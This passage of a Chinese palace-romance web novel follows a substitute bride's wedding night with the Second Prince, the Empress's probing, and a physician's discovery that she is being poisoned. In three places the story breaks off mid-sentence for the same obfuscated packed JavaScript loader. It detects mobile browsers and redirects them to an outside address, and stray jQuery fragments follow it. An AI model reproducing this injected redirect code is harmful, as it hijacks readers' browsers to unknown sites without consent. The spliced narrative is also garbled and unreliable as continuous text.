自古才子都风流,纪棠明心想,若婚后给他纳几房美妾,自己再木讷不解风情些,想必不出几月他便要厌烦了。到时她带着一家老小远走高飞,岂不美哉?
至于表姐关静姝,喜好为人处世一类,姨母一时也说不完,便指了关静姝房里的一个贴身丫鬟折春,与霜儿一同做陪嫁丫鬟,纪棠明自然喜不自胜。
如今圣上还未立储,诸位皇子也未得封地分府出去,纪棠明做了皇子妃,须与二皇子暂居宫中。
喜轿在一片喧天锣鼓声中晃悠悠前行,分明是喜庆热闹的奏乐,纪棠明听着却深感凉薄,望着这条走不到头的路将她摇摇晃晃送进了深宫。
她望着轿外高悬的朱红城门,不禁有些黯然。
下次再出这道门,不知是何时了。
“奴才奉陛下旨意,特在此迎二皇子妃进宫——”
御前太监嘹亮的余音落下,禁军在前肃穆开路,簇拥着大红喜轿悠悠进了皇城。
苏公公带着一众随从在喜轿旁站定,恭敬道:“娘娘,今日陛下身子不爽利,免了请安,可直接回含章殿了。”
折春将喜轿锦帘撑起半角,外头的人只能窥见纱帘后若隐若现的仙姿玉貌。仅是这短短一瞥,便足以让众人失了神。
纪棠明学着表姐做派,端的是清冷孤傲,淡声道:“多谢苏公公。”
她面上淡定,衣摆下的指尖却凉得犹如冰块,只能紧紧攥着帕子掩盖不安。
在宫中不知穿了多少道宫门,纪棠明忽而嗅到一股清甜的花香时,轿子也悠悠停了下来。
“娘娘,这里便是二皇子所居含章殿了,奴扶您下去。”
折春与霜儿一左一右簇拥着她下了轿辇,纪棠明被盖头覆着面,看不清周遭景致,那淡淡的花香气却如游蛇一般钻入鼻腔,实在沁人心脾。
可眼下寒冬腊月,何来的花?这气味也并非腊梅。纪棠明琢磨不透,只得先敛了心思。
含章殿的掌事嬷嬷带着一众宫女早已等候在殿外,见送亲队伍已至,齐声道:“奴婢请皇子妃娘娘安。”
纪棠明抬手示意平身,为首的掌事嬷嬷上前恭敬福礼:“奴婢苍兰拜见皇子妃。娘娘还请这边走。”
折春与霜儿搀扶着纪棠明随苍兰嬷嬷向东面殿去,听她道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405669|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“奴婢管理崇仁宫一应杂事,往后也是娘娘下面的人,望娘娘莫要嫌弃奴婢年老愚笨。”
来时路上听折春说,二皇子所居含章殿属于崇仁宫,是先皇后生前居所。先皇后病逝后,陛下念及旧情,并未让新皇后住进来,保留崇仁宫原本的样子至今,唯有二皇子一人住着。
崇仁宫底下大小宫殿有七座,苍兰姑姑能统管偌大的崇仁宫,在整个宫中也是举足轻重的人物。
她这番话颇含谦虚之意,纪棠明虽瞧不见她的模样,听声音也知道是谦逊敦厚之人,当下斟酌了措辞,柔顺道:“苍兰姑姑这是哪里的话,我出来乍到,还望姑姑今后多多提点才是。”
苍兰姑姑见皇子妃通情达理,心里更是敬重了几分,想到今日本该来迎亲的二皇子,愧疚道:“娘娘莫怪,近日陛下龙体抱恙,皇后娘娘命宫中不得大肆操办宴席,婚仪就一切从简了。二皇子一片孝心,恐婚宴嘈杂烦扰陛下,命我直接将娘娘带去您的揽月堂休息,合卺礼日后另行操办。”
纪棠明颔首,低眉应下,暗自松了一口气。
苍兰姑姑看不见纪棠明盖头下的神情,想着新妇哪有被冷落还高兴的,便宽慰道:“二皇子为人和善,光风霁月,定然不会亏待娘娘。崇仁宫早早便布置了红绸彩结,高悬宫灯。垂花门、回廊遍挂烫金双喜字、龙凤旗幡;庭院、甬道也立成对的朱漆宫灯,夜间灯火通明,好看极了。”
纪棠明含笑客气了句,交谈引步间,已到了揽月堂。霜儿与折春搀着她绕过榴开百子屏步入内室,坐在了红纱层叠的喜床上。
苍兰姑姑带进来八位桃粉宫裙的丫鬟,指着为首穿月白对襟、悬天青环佩的俊俏丫鬟道:“这位是揽月堂的掌事宫女翠雪。翠雪,快见过娘娘。”
翠雪身形高挑,长相英气,看着像个利落干练的,伏地跪拜道:“奴婢翠雪参见主子,主子万安。”
“起来吧。今日我有些乏了,你们布置崇仁宫有劳,也便早早下去歇着吧。霜儿,赏每人十两银钱。”
底下的宫女面露喜色,霜儿拿着荷包散完赏钱,便叫她们退出去了。
门扉一合,纪棠明径自扯下盖头,才瞧见揽月堂的陈设。
揽月堂如其名,陈设雅致文气,大抵是随了主子段则煜的喜好,花盆梁雕多用花鸟竹菊,装饰布置颇有书卷气。红绸悬梁,喜烛跃动,称得上舒适雅静。纪棠明一向不喜欢奢华张扬,此番布置倒是很称她的心意。
见四下无人,霜儿犹豫道:“主子……你可觉得奇怪?奴婢不懂朝政,为何尚书府如此权势都不得二皇子待见,连婚仪都懒得应付。”
纪棠明闻言,沉思了片刻,也觉其中蹊跷。
“北疆战事连连,朝中立储呼声也愈发激进,二皇子既无心储位,更得替自己留一条后路。兵部尚书手握重权,能给他需要的,若二皇子并不重视……大抵是他愚笨吧。”
头回听小姐说人愚笨,霜儿讶异之余又觉得新鲜,还未细问,纪棠明仿佛已料定二皇子不会来了,自顾自松了发髻躺上了床榻。
那头却冷不丁传来一道声音。
“爱妃觉得,我愚笨?”
5. 我家小姐不通房事
纪棠明脑海中轰然一声嗡鸣,冷汗沿着脊背窜上去,手脚快脑子一步下榻,福礼道:
“……妾身参见殿下。”
来人一袭象牙白锦袍,面色冷如玉,从屏后拾步而来。纪棠明心中犹如起了惊涛巨浪,她不知他到底听到了多少,只匆匆一眼便不敢再抬头。
那人却捏住了她的下巴,迫使她仰头看着他。
初见他,好似春雪初融的汩汩浅溪,清俊矜贵,细看来,又像二月棠梨煮酒,余调温润,还带着些许醉人意味。
这张脸近在咫尺,纪棠明才发现他虽然生得鼻梁细挺,肤白如瓷玉,眉眼却凌厉得英气逼人。
或许是心虚,她不敢直视这双眼睛。
纪棠明平复呼吸,道:“殿下恕罪,您方才许是听错了。下人们在案上摆红梅,犯了民俗忌讳,是此妾身才责令丫鬟将它拿下去,还望殿下见谅。”
二人清浅的鼻息交织着,段则煜松开手,居高临下地看着她,神色晦暗不明:“红梅是我特意叫下人摆上的,爱妃不喜?我竟不知这是犯了什么忌讳。”
纪棠明心跳猛然漏了一拍,强作镇定,找了一套看得过去的说辞:“古有言,花者寡也,犯孤寡煞[1]。今日大喜之日,桌案红梅独领枝头,犯了民俗忌讳,为夫妻失和、独守空房的不祥之兆。”
纪棠明低眉保持福礼模样,段则煜不理会她,径直走到桌案前坐下,拿起了一杯系着红绳合卺酒端详把玩。
“还以为爱妃见了红梅会有思故之情,看来是我多此一举了。”
“妾身不敢。只是新婚燕尔,也想讨个好彩头。”
她不知思故之情与红梅何干,只能含糊回应了。
关静姝祖籍便是京都,纪棠明自幼生长在江州,不知红梅是否是京都特有景致,可思绪不禁飘回昨夜,想起那悬着黄玉玉佩的侍卫和那片红梅。
心里似有一根弦绷直了,纪棠明抬眸淡淡瞥了眼前的人一眼。
“宫中怕是没有红梅,殿下为它费心了,妾身惶恐。”
段则煜却并未接她的话,自顾自道:“哦,父皇赏的。不说这个,爱妃坐。”
纪棠明试探未果,心头略过一丝失落,依他所言坐在了对侧。
也是,他们的嗓音大相径庭,况且皇子尊贵之躯,怎会前往牢狱之地。
二皇子今夜未着喜服前来,也无行合卺礼之意,反而话里有话,或是起了疑心。
纪棠明见他幽幽喝起了酒,没有将走之意,不免心慌。她身上的淤青施了厚厚一层胭脂,可遮的了一时,却撑不到明早。
她昨夜才出狱,也不通男女之事,若他今日偏要圆房,只怕会露馅。
犹豫再三,纪棠明鼓起勇气委婉道:“妾身今日身子有些不适,要歇下了。殿下明日还有早朝,也早些休息吧。”
纪棠明自诩逐客之意很明显了,却不想段则煜闻言,点了点头:“爱妃此话有理。新婚之夜独留你一人,确实不合规矩,我改主意了,今夜便在你这里就寝。”
没有一丝商量的口气,纪棠明还愣着,他已经收回手迈步上了她的床,吩咐下人准备。
他悠闲地坐在床上等纪棠明解他的衣,纪棠明喉咙像被塞了团棉花,硬着头皮走了上去。
耳畔像被蒙着纱,她只能听到自己咚咚的心跳。纪棠明指尖冰凉,咬着牙伸向了松松搭在腰间的玉带。
这身锦袍料子绵软,纪棠明环着他的腰身去解衣带时,还能若有若无感受到他底下紧致有力的肌肤。
未曾听闻二皇子会武,怎得身形如此健硕……
纪棠明思绪飘远,段则煜却突然冷不丁道:“爱妃自幼锦衣玉食,宽衣解带倒是熟练。”
他此时只余两件轻薄里衣,修长的脖颈一览无余,看的纪棠明有些晃神。毕竟从未与男子如此亲密,她还是红了耳根,面色有些微微发烫。
听出他话里试探意味,纪棠明平复情绪,镇定道:“出嫁前,宫里的嬷嬷来教过妾身如何侍候殿下。”
纪棠明信口胡诌的本事一流,她在出嫁前一晚才成了替嫁人选,哪里受过什么宫里教导?
好在祖母幼时是在姨娘先贵妃宫里养大的,时常向她讲些宫中逸事,听得多了,也大致知道礼节敬语。
她拖延着时间,解衣极慢,攥着段则煜衣袍的细带栓个死结又解开,故作笨手笨脚想惹他不快,紧张得额间都沁了一层细密的汗。
可二皇子极有耐心,摊开胳膊等她动作。
段则煜心中发笑,他早已看出她的不情愿,只是一时兴起想看看她到底要如何圆场,索性两手一摆撑在了身后,看她表演而已。
着实有趣。
少女温热的鼻息喷洒在他胸前,素手无意间擦过他的身体,带着一阵酥麻。段则煜莫名有些燥热,好似有扑不灭又灼热的火苗窜动在他胸间,挠得心痒。
他一向极其厌恶旁人的触碰,可不知为何,他对眼前女子的触碰却不反感,反而……有些期待。
那日,少女扑进他怀里时,温热柔软,带着一股缱绻的甜香铺天盖地而来,竟让他难得的安神了片刻。脸上染了灰,却也像极了一只灰扑扑的白兔子。
她还抓了他的手。
想到此,段则煜左手指尖不禁意间缩了缩,胸前柔软的触感历历在目,他耳根红得要滴血。
他既想推开她,又好像有些贪恋此刻。
眼下只剩了一件素白里衣,纪棠明的面色绯红,颤抖着去解最后一条衣带时,段则煜忽然猛得向后缩了一下。
“暂且如此吧。”
纪棠明听不出他的情绪是怒是哀,只见他利索地拉开被子背对着她躺了下去。
这是和衣就寝的意思?
屋内龙凤喜烛的火光隐隐绰绰,纪棠明如释重负,在下人的侍候下更衣梳洗完,换上最厚的寝衣才不情不愿躺上了床。
两个人虽然同睡一张床,中间却能再塞下两三个人。纪棠明时时担忧着他半夜会不会忽然改了主意要圆房,缩在床角困意全无,觉得二皇子这个人怎么想怎么奇怪。
为何今日不愿着喜服迎亲、夜半又来陪她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405670|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就寝?
总不能是对她胡诌的“婚房摆红梅,家破又人亡”起了怜悯之心罢。
纪棠明百思不得其解,到了夜半,不知何时也昏昏睡了过去。
自抄家以来,纪棠明没有睡过一日好觉。她平日里觉浅,今夜却睡得香甜,夜半感受到脚腕手腕处一阵瘙痒时,也只是轻轻蜷了蜷身子。
段则煜察觉她动,瞥了她一眼,将手中上完的药膏放在了一旁。
她身子上遍布大大小小的青痕和冻伤,哪怕有胭脂掩盖着,也不难看出伤口的触目惊心。段则煜见此,眼睫低垂,投下一片阴翳,看不清情绪。
.
揽月堂外守着的青锋与青刃等了几个时辰也不见主子出来,反而还传了膳,面面相觑,附耳低声道:“殿下这是圆房去了?”
青锋嘴角抽了抽,丢过去一记眼刀:“守则其四,不准妄议主子。”
青刃自讨没趣,嘀咕道:“那你说说看,殿下原本说要去给她个下马威,怎么下了三个时辰还不出来?我看那喜烛都要燃尽了。”
青锋闻言,竟真的垂眸思索了一番:“……尚且再等等吧,殿下向来不近女色,应当不会留寝,何况殿下疑心这纪姑娘是皇后娘娘挑来的,自然会与身份不明的探子远一些。”
青刃若有所思地点了点头,正欲开口,院中那头却忽而传来一阵骚动,二人当下提着剑冲了过去,从树后拎小鸡仔似的提出来一个瑟瑟发抖的丫鬟。
“看你这装束……是皇子妃娘娘的陪嫁丫头?为何在此?”
被两个矫健的侍卫一左一右押着,折春吓得直打哆嗦:“二位大人饶命!奴婢……奴婢是折春,留……留在屋外侍候着。”
“宫女不必当值,你鬼鬼祟祟藏在那里究竟有何用意?不说实话我大可杀了你。”青刃敛了笑意,将剑抵深了一寸。
折春牙关打颤,连忙伏地叩首:“奴婢无意冒犯二殿下,只是……只是……”
青锋眼尖,见她手中紧紧攥着什么,眼疾手快夺了过来。
荷包鼓鼓囊囊,青锋只掂量了一下,便知其中不是装的寻常香料,打开一闻,果真是药粉。
“是迷药,现在只剩一半。”青锋言简意赅。
青刃利索地将哭哭啼啼的折春五花大绑,准备直接提去大理寺,折春赶忙道:“这不是迷药!只是……只是有安眠效用的安神丸,奴婢将它研磨成粉末,或是量大了些……”
青刃挑眉:“你研磨安神丸何干?三更半夜在主子屋外,定没安好心。”
折春使劲摇了摇头,哽咽道:“奴婢只是加到了膳食里,让二位主子睡的沉一些,并无害人之心啊!我家娘子……我家娘子不通房事,怕她应付不来……”说完此,折春羞红了脸,头埋的极低。
青锋与青刃神色一凝,半晌说不出话来,还是青刃脸皮略厚,追问道:“可大婚前……宫里不是派了嬷嬷教房事吗,嫁妆里面也有图绘本子才是。”
折春被绑着手脚,只能跪坐在地上,不敢抬头看他们:“我家娘子……脸皮薄。”
6. 试探
不知为何,昨夜这一觉,纪棠明睡得格外沉,醒来身子绵软无力,头脑也不甚清醒。
约摸已到了晌午时辰,雕花贝窗外透进来一地流光,隐约可见外面冒着绿芽尖的春色。
自己竟睡了这么久也无人来唤?
纪棠明艰难地撑着床坐起身,段则煜已离了屋,空荡荡的床榻只她一人。
鹅绒合欢寝衣还如昨日睡前那副样子穿在身上,床榻也整洁无异,可四肢传来的阵阵酸痛感却是切切实实。
纪棠明心中忧虑难安,唤了屋外侯着的翠雪过来。
“今日殿下几时离了屋?”
“回主子的话,二殿下卯时便去早朝了。见您睡得安稳,叫我们不必打扰。”
纪棠明点了点头,斟酌道:“昨夜……可有叫水?”
翠雪听完神色无异,只低眉应道:“未曾。”
纪棠明稍稍松了一口气,心还没放回肚子里,翠雪又道:“今日您与殿下本该面见陛下谢恩,苏公公今早来传,因陛下身子不适,晚上再唤殿下与娘娘过去。娘娘现在可要准备着?”
“替我梳妆吧。”
翠雪手巧,挽发点妆炉火纯青,施粉将病容遮去,脸颊红润不少。纪棠明望着铜镜里自己的模样,心中的忧虑却更甚。
若她没记错,皇后是见过关静姝的。
姨母敢叫她替关静姝出嫁,不过是因为表姐深居简出,平日里鲜少交友赴宴,见过她的人寥寥无几。却因七年前,燕氏尚未被立为皇后时,不过是一个商户家的女儿,姨母与燕皇后的父亲做茶布买卖,故与关静姝有过匆匆一面之别。
入宫前,这桩故交是姨母特意叮嘱的。赌的,也不过是燕皇后母仪天下,记不得当年十岁出头的小丫头。七年一别,容貌与从前大相径庭也是常有的事。
可纪棠明心中却隐隐不安。
先皇后,也就是二皇子生母,出身名门,过世后没几年,陛下便娶了如今的燕氏。寻常商贾之女能得见天颜已是不易,何况坐上后位,想必这燕皇后不会是绣花枕头。
若她发现了端倪……纪棠明不敢细想。
“主子,这些衣裳是昨日尚衣监送来的,用的是苏杭织造上贡的料子,轻纨素縠,您今日要穿哪件?”
思绪回笼,宫女们捧着各色绫罗绸缎制成的华服立在一旁,绣线流光溢彩,好看是好看,可对她来说过于贵重了。
父亲官列七品,虽是江南富庶之地的知县,俸禄却微薄,这一件衣裳便够全家阔绰五六年了。
纪棠明拂过这些柔软的料子,心下感慨,目光略过月白、赭红、桃红几件襦裙,落在了天青色那件上。
关静姝喜好艳色衣裙,平日装束也华贵惹眼,今日毕竟是要入宫谢恩,还是稍素净些的好。陛下尚在病中,月白、鹅黄那几件颜色过淡,像是去奔丧,难免落人口实。
思来想去,纪棠明便穿了那件天青珠络衫裙,配松石玉钗,衬的肤色雪白,走起路来珠翠轻颤,步步生莲。
“娘娘肤白胜雪,天青色衣衫衬得您玉姿绰影,好看极了。”
翠雪望着镜中的主子,美眸盈盈含水,柳眉轻挑,婉约中不失清贵,饶是她在宫中见过不少美人,娘娘这般气质的却是头一个。
翠雪心中暗暗感叹,二皇子前月还因抗旨不娶惹得陛下大怒,若是当时得知皇子妃这般天姿,殿下与陛下也不会置气了。
纪棠明今日身子不适,晌午只喝了几口稀粥,想着午后要面圣,便没有请太医号脉,未曾想下午愈发严重起来。
霜儿一探她的额头,滚烫得吓人,大抵是前几日受了寒,纪棠明却不许她去太医署找人。
“马车已候在外面,莫要让殿下久等了。我不碍事,先去福宁殿面圣吧。”
霜儿拗不过她,与折春一道搀扶着她上了轿子。
段则煜神情淡淡端坐轿内,身着晴蓝云纹锦袍,披一墨色大氅,清雅矜贵。
他抬眸瞧见纪棠明,不禁愕然。
今日这身装束,倒是与纪棠明的天青衫裙莫名有些搭。
“妾身参见殿下。”
纪棠明有气无力地行完礼,便坐在了侧面的锦缎软垫上阖眼休息。
段则煜瞥了她一眼,正欲开口问她昨夜休息得如何,见她面色不佳,改口道:“身子不适?”
纪棠明闻言微微点了点头,依旧紧闭着眼靠在内壁上。
马车内燃着熏炉,四面也铺了兽绒软榻遮帘,暖融融的,纪棠明身子却还是一阵阵发寒。
段则煜见此,伸手拈了拈她的衣料,不禁蹙眉:“怎么穿得这么薄?苍兰姑姑没给你拿狐裘来?”
纪棠明摇了摇头。
身上这件云锦鹤氅已经足够暖和,她只不过是嫌狐裘太过招摇,与今日素雅装束不搭,是自己不愿穿的。
段则煜不语,解下雪狐裘披在了她身上,冷冷道:“掉头。回揽月堂。”
“不可。”纪棠明撑着身子坐起来,将衣襟拢了拢,冷汗涔涔:“皇子大婚头日面圣谢恩是宫规,父皇与母后早已候着,怎可临时作罢。”
此番所言不过是托辞,纪棠明另担忧的,是自己所患风寒。
她自幼体弱易高热,前几日押送途中又寒邪内侵,眼下已有高热之症。若借病推脱不去,皇后定会使太医来瞧,到时瞧出她这久疾,只怕不知怎么圆才好。
赐婚圣旨一出,关静姝便待嫁闺中,大婚前几日更是闭门不出,染上风寒未免牵强,何况这久疾。
“宫规是人定的,你身子不适,不去又有何妨?我代你向父皇和母后请安,你安心养病。”
“……还请殿下务必带我前去。风寒而已,将养两日便好了,无须兴师动众。”
“性子倒倔。”
段则煜无奈,抱着胳膊小憩,不去看她。不过凝神了几息,又忍不住吩咐马车外随侍的青锋:“将熏炉里的炭换成银霜炭,烧旺些,另备着手炉。”
“是。”青锋领命,顷刻间消失在了宫道拐角。
崇仁宫离陛下寝宫并不太远,约摸半个时辰便到了殿外。纪棠明强打精神下了马车,翠雪侍候她理了理鬓发衣冠。
福宁殿金顶朱墙下禁军把守,纪棠明迟疑了一瞬,平复呼吸后才敢迈步。
如今她是堂堂正正的皇子妃,不是囚犯了。
苏公公见二殿下携妃前来,将二位领进了橘光暖烛的寝殿内。
宽阔的殿内,兽顶长明灯高悬,微微暖光照得殿内威严装饰都柔和不少。陛下躺在龙床上,两鬓略有苍白,神色疲倦,还在昏睡。
“你父皇今日头病发作,才喝了药安稳睡下,便没再唤他起来。”
段则煜和纪棠明规规矩矩行礼问安,床榻旁圈椅上坐着的皇后将他们笑意盈盈扶了起来,解释道。
“母后费心了。”
皇后容光焕发,虽五十有余,却比纪棠明想象中还要年轻不少。凤冠金钗,凌眸上挑,面上带着笑,周身的气度威压却叫纪棠明不敢直视。
恐交谈吵到陛下,待几人移步至内堂落座后,皇后才笑着细细打量了一番纪棠明,满意点头:
“不愧是尚书府教养出来的女儿,知书达礼,模样竟比外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405671|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传言的还要标致。”
皇后笑着拉过她的手,宛如一位慈爱的长辈,这席话纪棠明听了却直冒冷汗,蜷在袖子里的另一只手不禁攥住了裙摆。
幸而听她这般说辞,像是没察觉出相貌有异,纪棠明稍稍松了口气,面上勉强牵起一个笑:“母后谬赞,姝儿从前在家中娇蛮惯了,做事不甚周全,往后还有许多宫里规矩要学,实在担不得知书达礼一词。”
皇后含笑点头,目光在二人脸上流连,道:“如今陛下尚在病着,婚仪从简倒是苦了你们,母后会多多添置些妆奁给姝儿。煜儿,既成亲了,便收收心留在宫里陪着姝儿,莫要再日日往文渊阁跑了。”
说着,她摘下手腕的那只翡翠镯套在了纪棠明手上。
段则煜见此,面上闪露一丝异色,随后敛了神情淡淡道:“劳母后挂怀。”
纪棠明见这翡翠镯种水细腻,表面光滑如凝脂,烛火下莹莹透着柔光,便知定是价值连城之物,忙道:“母后,如此大礼,这……”
皇后笑着打断了她:“姝儿莫不是不记得了?从前本宫还未识得陛下时,曾在江南跟着家父做生意,这翡翠便是肖夫人那儿得来的。如今物归原主,也算一桩幸事。”
纪棠明脑海中有一根弦绷紧了,她僵着身子,苦苦回忆姨母之前的交代,却毫无头绪。
姨母并未提到过她曾卖给了燕皇后翡翠镯子一事。
京中那些贵夫人们私下做些普通生意买卖很是寻常,就她所知,姨母暗中经营的生意遍布京城,若曾得一水色极佳的翡翠倒也不足为奇。
皇后有意提及旧情,顺水推舟笼络这份关系,于她而言会更有利。
纪棠明正犹豫着开口,段则煜却出声道:“母后莫不是记错了?”
他抬眸瞥了燕皇后一眼,脸上无甚表情:“儿臣怎么记得,母后这镯子是威远大将军进献的?”
纪棠明心下一惊,脊背已湿了半边。
燕皇后竟是在试探她。
那头皇后素手扶额,似有些苦恼地按了按太阳穴,伤神道:“近日真是琐事繁多,都糊涂了。”
纪棠明赶忙道:“既是将军进献之物,姝儿是万万不敢收的。”
皇后笑着将她伸出的手推了回去:“大皇子尚未婚娶,如今抱皇孙的指望可就在你们二人身上了。这镯子是稀罕物,配二皇子妃正好。”
纪棠明见推脱不了,只好收下。
她不过是一个冒牌货,收了母后的镯子,日后还要担上生育皇孙的重任,倘若他们知道了自己的真实身份,祖上四代都不够问斩的,不由得心里发怵。
殿内地龙烧得暖,纪棠明一会儿觉得身上有火在烧,一会儿又觉得冷如冰窟,神志愈发昏沉,紧紧扶着椅子才勉强端坐,已无心细听那头皇后在寒暄些什么。
段则煜察觉到她的异常,道:“母后掌管六宫已是不易,既如此,儿臣便不打扰了。儿臣告退。”
段则煜不欲久留,起身就走,纪棠明如蒙大赦,拎着裙摆也匆匆福礼告辞了。
不知是不是她的错觉,她总觉得二皇子方才听了皇后的探问,反而有些高兴,步子都轻快了不少。她冥思苦想,也不知此话有何让人高兴的,反倒是让她苦恼不堪。
殿外天色已晚,寒夜里霜露浓重,冰冷刺骨。本就身子不适,纪棠明一出暖阁便受不住寒风,幸得段则煜眼疾手快扶了她一把才堪堪站住身子。
他伸手探了探纪棠明的额间,眉头紧蹙:“怎会这样烫?”
不等她回应,下一瞬,段则煜抱起她上了马车,走的却不是回揽月堂的路。
7. 不识货
面圣本就心虚,纪棠明方才精神一直紧绷着,此刻松懈下来才觉病重,身上冷得阵阵发颤。
段则煜抱着她上了马车就没再放下,纪棠明连推开他的力气也没有。男子本就体热,纪棠明窝在他怀里感觉暖烘烘的,竟有昏睡之意。
隐隐约约中,她似乎闻到了他身上有一股熟悉的气息,可这股气味还在哪里闻过,她头脑发沉想不起来。
纪棠明被段则煜拿狐裘盖着,下了马车也未受凉。一到太医署,段则煜抱着她直奔里间屋子,一脚踹开了刘院判的门。
老人家正欲宽衣入睡,门突然被人粗暴踹开,寒风呼呼往里灌,还以为是哪个不知礼数的医工。斜眼一瞧竟是二皇子,身后还跟着三个慌张的丫鬟,气也消了大半。
刘院判迎上去,瞧见二皇子怀里不省人事的女子,心下了然,当下将人接进了外堂。
纪棠明昏昏沉沉被几个人摆到了床榻上,刘院判不敢耽搁,搁纱把脉了几息,神色却越来越凝重。
折春和霜儿不认得刘院判,翠雪却认得。那年城中大疫,死者相枕,刘院判亲入疫地施药施救,活人无数,一城赖以保全。若整个江湖朝野他不敢称医术第一,便没人再敢称其二了。
难得见刘院判拧眉,翠雪心里也不安。
“如何?”
段则煜见刘院判半晌不说话,忍不住追问道。
纪棠明躺在太医署内堂的床榻上,脸上透着反常的红晕,秀眉紧紧蹙着,口中还不知念叨着什么。
刘院判神情复杂地看了床榻上的人一眼,思索道:“娘娘内伤虚热,若是旁人来看,定会误以为是风寒之症。可依我拙见,恐此症另有其因,不过还需我耗些时日确认。二殿下不必过于忧心,此病不难治。”
听闻此话,几人皆是宽了宽心。
“那便劳烦刘院判了。”
段则煜听出刘院判话里有话,借刘院判配药时跟着他进了内室药房。
药房内弥漫着淡淡的清苦香气,四下无人,刘院判便直截了当:“娘娘是中毒了。一种慢性毒,每到季节交替时就会发作,发作时意识昏沉,高热不退,表面瞧着像风寒,和当年先皇后……一模一样。得亏遇到了老头子我,否则恐怕再过几年便香消玉殒了。”
段则煜垂眸思索着什么,半晌点点头:“那就交给你了。另外,最近盯着点皇后那边。”
刘院判揣着胡子,狐疑道:“你是怀疑陛下的病与皇后娘娘有关?”
“只是猜测,父皇身子一直健朗,近年却病痛缠身,总觉得蹊跷。”
刘院判允了下来,留在药房配药,段则煜不便打扰,掀帘出了门。他前脚刚迈出去,又忍不住退回来冲刘院判嘱咐道:“她不喜欢苦味,药别配得太难喝。”
刘院判瞥了他一眼,手里刚抓好几味甚苦的中药,沉思一番,又添了些山楂蜜饯。
.
纪棠明在太医署睡了一夜才回揽月堂,第二日高热已退的差不多了。
“刘院判大抵已是瞧出您前些日子寒气侵体,膳食不调,开的尽是补气养血的方子,由他亲熬了给您送过来,嘴上也从不多问。折春留了个心眼,连同带回来的药方一并烧了,叫有心之人无从查证。主子还请放心吧。”
“那殿下那边……”
“刘院判只说是体虚要好生将养,对殿下也是这般说辞,殿下并未多疑。”
纪棠明点了点头,听霜儿交代完这些,又听她道:“殿下今早听您醒了,送了好些东西来。还说……折春在饭菜里下药一事,让您自行决定该罚不该罚。”
“折春算得上帮了大忙,是个忠心的,该好好感谢才是。对外头就说,已罚了两个月的月钱,责骂过了。”
主仆二人对视一眼,忍俊不禁。
到傍晚更深露重些,纪棠明服过药,恢复了些力气,待下人们都睡下了,才披了件斗篷起身。
她将手腕的翡翠镯摘下来,交由霜儿好生收起来。
“镯子珍贵,又是皇后娘娘送的,不可出差错。”
霜儿应下,挑了一个铺着绒垫的机巧锦盒放着。
“近日心里总不踏实,夜里时常想着,怕是燕皇后瞧出了端倪。日后住在宫中少不了要和她相处,眼下不知到底是哪里出了疏漏,难保我还能遮掩几时,只怕阿爹阿娘等不住。霜儿,你即刻执笔,写信给姨母,问问那边情况如何了。”
霜儿放好锦盒,回过身,望了望案上纸笔,迟疑道:“奴婢字丑……”
纪棠明闻言,忍不住打趣:“正是因为你字丑才要你写。宫中耳目众多,你我需要事事谨慎。”
霜儿羞红了脸,低垂着头支吾道:“主子你又笑我。”
虽扭捏,霜儿还是慢吞吞拿了纸笔,一字一句照着纪棠明所说的来写。
「明月迢迢,广寒宫寂。吴刚伐桂,劳苦功高;只叹天颜,心有芥蒂。其心未移,乡音难觅;但求椿萱,来年并茂。」
霜儿写的认真,宣纸上的字迹却如同孩童戏作,张牙舞爪。
“主子,这小诗……是何意?”霜儿置笔,瞧着纸上的内容怎么看都像在说典故,不像写给肖夫人的话。
纪棠明接过宣纸细细端详,满意道:“正是要这样的效果,旁人看了之后一头雾水。想说的话都在里面了,姨母是聪明人,想必能猜到其中隐喻。”
霜儿似懂非懂地点了点头:“那我便将这封信送去尚书府。”
.
含章殿烛火通明,桌案上卷宗堆叠,段则煜翻阅着一册竹简,神色略显倦怠。
“殿下,皇子妃将信送出去了。”青刃从窗外翻进来,持剑禀告,将一封拓印下来的信纸内容递上前。
段则煜并未抬头,接过信纸扫了一眼,淡声道:“带人暗中护送信鸽,别让燕氏那边察觉,务必将信送到。大理寺那边状况如何?”
“……纪廷修贪污渎职的人证物证确凿,不日便要定罪了。听闻他人缘倒是不错,近日多有官员替他求情,联合江州地方官上书奏请明察,可惜陛下尚未病愈,都被燕皇后暗中压了下来。”
段则煜抱臂靠在了椅子上,凝神休息,不知在思索着什么。
青刃又道:“至于兵部尚书那边,还未有动静。”
段则煜盯着桌上火烛,神情恹恹,指节一下下敲击着桌案,“既然他们想装死,那我们便去敲打敲打他们。”
青刃领命,刚迈出去的脚又收了回来:“皇子妃……估计已是尚书府的弃子了。还要盯着她吗?”
